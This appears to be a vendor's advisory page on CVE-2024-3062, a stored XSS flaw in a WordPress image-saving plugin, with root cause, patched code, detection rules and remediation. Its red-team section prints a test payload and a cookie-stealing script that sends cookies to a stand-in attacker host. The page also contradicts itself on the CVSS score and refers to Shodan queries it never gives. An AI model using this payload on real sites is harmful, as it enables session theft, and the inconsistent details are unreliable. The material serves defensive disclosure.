CVE-2024-3062
Executive Summary
CVE-2024-3062 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the Save as Image Plugin by Pdfcrowd for WordPress, affecting versions prior to 3.2.2. This flaw allows high-privilege users (e.g., administrators) to inject malicious scripts into plugin settings, which are then stored and executed when other users access the affected admin pages. The vulnerability is particularly dangerous in multisite WordPress configurations where the unfiltered_html capability is disabled, as it bypasses standard input sanitization. Despite a CVSS score of 0.0 (likely unassigned or placeholder), the risk is real for targeted attacks against WordPress admin interfaces.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory. Users should verify they are running version 3.2.2 or later. No known supply chain compromise has been reported, but the plugin’s update mechanism should be trusted only from the official repository.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
- Base Score: 4.5 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: High (PR:H) – requires admin-level access
- User Interaction: Required (UI:R) – victim must visit the malicious settings page
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L) – potential data exfiltration
- Integrity Impact: Low (I:L) – script injection
- Availability Impact: None (A:N)
Threat Level: Medium. Exploitation requires authenticated admin access, but in multisite environments, lower-privileged admins may exploit it against super admins.
Deep Dive & Mechanics
The vulnerability resides in the plugin’s settings page, where user-supplied input (e.g., custom CSS, JavaScript options) is not properly sanitized or escaped before being stored and rendered. In WordPress, the unfiltered_html capability typically allows super admins to post arbitrary HTML/JS, but when disabled (common in multisite), the plugin fails to enforce proper escaping. Attackers with admin-level access can inject persistent XSS payloads that execute in the context of other administrators viewing the settings.
Root Cause: The plugin uses update_option() to store settings without applying wp_kses() or esc_html() on output. The stored value is later echoed directly into the admin page without escaping.
Attack Flow:
- Attacker gains admin access (e.g., via compromised credentials or social engineering).
- Attacker navigates to the plugin settings page and injects a malicious script into a text field (e.g., custom CSS).
- The payload is stored in the WordPress options table.
- When another admin (or super admin) visits the settings page, the script executes in their browser.
- The script can steal session cookies, perform actions on behalf of the victim, or redirect to malicious sites.
Vulnerable vs. Patched Code
Vulnerable Code (version < 3.2.2):
// In settings page rendering
echo '<input type="text" name="pdfcrowd_custom_css" value="' . get_option('pdfcrowd_custom_css') . '" />';
The value is directly echoed without escaping.
Patched Code (version 3.2.2):
// In settings page rendering
echo '<input type="text" name="pdfcrowd_custom_css" value="' . esc_attr(get_option('pdfcrowd_custom_css')) . '" />';
The esc_attr() function escapes the output, preventing XSS.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- WordPress installation with Save as Image Plugin by Pdfcrowd < 3.2.2.
- Admin-level credentials (e.g., user with
manage_optionscapability).
Steps:
- Log in as an admin.
- Navigate to Settings > Save as Image Plugin.
- In the "Custom CSS" field, inject the following payload:
"><script>alert('XSS')</script> - Save the settings.
- As a different admin, visit the same settings page. The script executes.
Advanced Payload (Cookie Stealing):
"><script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor WordPress admin access logs for unusual settings changes.
- Use WAF rules to block common XSS patterns in admin POST requests.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Hardening:
- Upgrade to version 3.2.2 immediately.
- Restrict admin access to trusted users only.
- Enable
unfiltered_htmlonly for super admins if absolutely necessary. - Use a security plugin (e.g., Wordfence) to monitor file integrity and settings changes.
Indicators of Compromise (IOCs)
- File Changes: Modified
wp-content/plugins/save-as-image-pdfcrowd/files (check version). - Database Entries: Suspicious values in
wp_optionstable underpdfcrowd_*keys containing JavaScript. - Logs: Repeated admin login attempts from unusual IPs.
- Network: Outbound connections to known malicious domains from admin browsers.
Detection Engineering
YARA Rule
rule CVE_2024_3062_WordPress_Pdfcrowd_XSS {
meta:
description = "Detects malicious payloads targeting CVE-2024-3062 in WordPress Save as Image Plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-3062"
strings:
$payload1 = /<script[^>]*>.*?<\/script>/i
$payload2 = /onerror\s*=\s*["']?[^"']*["']?/i
$payload3 = /onload\s*=\s*["']?[^"']*["']?/i
$option_key = "pdfcrowd_"
condition:
$option_key and ($payload1 or $payload2 or $payload3)
}
Sigma Rule
title: CVE-2024-3062 - Stored XSS in Save as Image Plugin by Pdfcrowd
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential XSS payloads in WordPress admin settings for Pdfcrowd plugin
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: wordpress
detection:
selection:
EventID: 1000 # Example: WordPress audit log event
ObjectName: 'pdfcrowd_custom_css'
Data|contains:
- '<script'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in custom CSS (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-3062 - Stored XSS Payload in Pdfcrowd Plugin"; flow:to_server,established; content:"pdfcrowd_custom_css"; http_client_body; pcre:"/(<script|onerror|onload)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade the plugin to version 3.2.2 or later via WordPress admin dashboard.
- Audit all admin accounts for unauthorized changes to plugin settings.
- Scan the
wp_optionstable for suspiciouspdfcrowd_*entries.
Long-term Measures:
- Implement a Web Application Firewall (WAF) with XSS rules.
- Enforce least privilege for admin users.
- Regularly update all WordPress plugins and themes.
- Use security plugins to monitor file integrity and detect anomalies.
Valters IT
Securing digital frontiers with precision and expertise.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.